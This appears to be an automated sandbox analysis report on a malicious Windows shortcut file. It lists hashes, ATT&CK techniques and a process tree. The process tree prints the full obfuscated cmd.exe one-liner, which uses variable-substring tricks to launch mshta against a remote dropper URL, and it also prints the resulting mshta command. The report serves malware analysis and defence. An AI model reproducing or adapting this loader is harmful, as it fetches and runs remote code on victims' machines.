b722af6a340d697cf2f00f1297efdce74f72359694c0560b444bef6744adcd92

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:10

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General

Target
DOC-4FDFJR.lnk
Size 2KB
Sample260803-qeptjaygqa
SHA256 b722af6a340d697cf2f00f1297efdce74f72359694c0560b444bef6744adcd92
MD5 2cce1d5fa9e0ccbd13f8b8e2809d0c74
SHA1 8aa6cef2dd5f9da6de8e9e55e300acf598481d42
SHA512 3275a97f4a43f1894653f4986df380df982f0e1804283d759a6044d535e94cf5b0d5051078ab1748a46c6afa74be0d17ec92976026072b422754238296bcd36a
TLSH
T1E94156803AFD02D8F2FB8E76D97F274145BBBD556D70D28D0440814C0822B44D977B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2732	cmd.exe
4356	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 4356	2732	cmd.exe	88
PID 4356 wrote to memory of 3820	4356	cmd.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4FDFJR.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2732
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set jQS=wintpktvakkmpwin&set kaV=s5mshtib&&set vsMS=aa4&set XnGC=netrvxmjqtigptwyevdknet&set wpu=dbgpdindbg&set STKz=systipxmgvazsys&set XxrVJ=logwwjgbsvtmwdirtjetmlog&set ATc=cacheodpcyamcocnwfukucache&set VIm=tmpdkyyjtmp&set qUmF=sysdxivowszxlsirhmsys&set SuGO=namszj&&set Ch=nt6&&set NLzFo=0iart9o&set FltX=datdqfujfhnorgddat&set MHA=tmpsotgoebrtxdttmp&set aAq=dbgacsgyfnzgzoubdbg&&set st=h@tt@ps:/@/b@o@-p@df@fi@ll@[email protected]@at@/h@/@e@s@ta@gio@1@.@ph@p?r=3@607@61@F1@57@9@4&&start /b !kaV:~2,4!!vsMS:~1,1! !st:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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